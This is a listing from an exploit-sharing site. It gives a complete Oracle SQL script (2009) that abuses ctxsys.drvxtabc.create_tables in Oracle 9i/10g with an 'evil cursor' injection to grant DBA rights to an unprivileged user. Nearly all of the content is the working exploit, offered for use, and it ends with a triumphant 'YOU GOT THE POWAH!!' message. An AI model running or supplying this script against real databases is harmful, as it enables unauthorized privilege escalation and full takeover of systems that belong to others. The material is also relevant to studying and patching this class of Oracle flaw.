[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Oracle ctxsys.drvxtabc.create_tables Evil Cursor Exploit

Author
Andrea Purificato
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8168
Category
local exploits
Date add
01-12-2009
Platform
unsorted
========================================================
Oracle ctxsys.drvxtabc.create_tables Evil Cursor Exploit 
========================================================


# Title: Oracle ctxsys.drvxtabc.create_tables Evil Cursor Exploit
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Andrea Purificato
# Published: 2009-12-01
# Verified: yes

view source
print?
-- 
-- ctxsys.drvxtabc.create_tablesV2.sql
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tablesV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...
 
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where dbms_sql.execute('||MYC||')=0--','x',2);
END;
/
 
prompt [-] YOU GOT THE POWAH!!



#  0day.today [2024-12-24]  #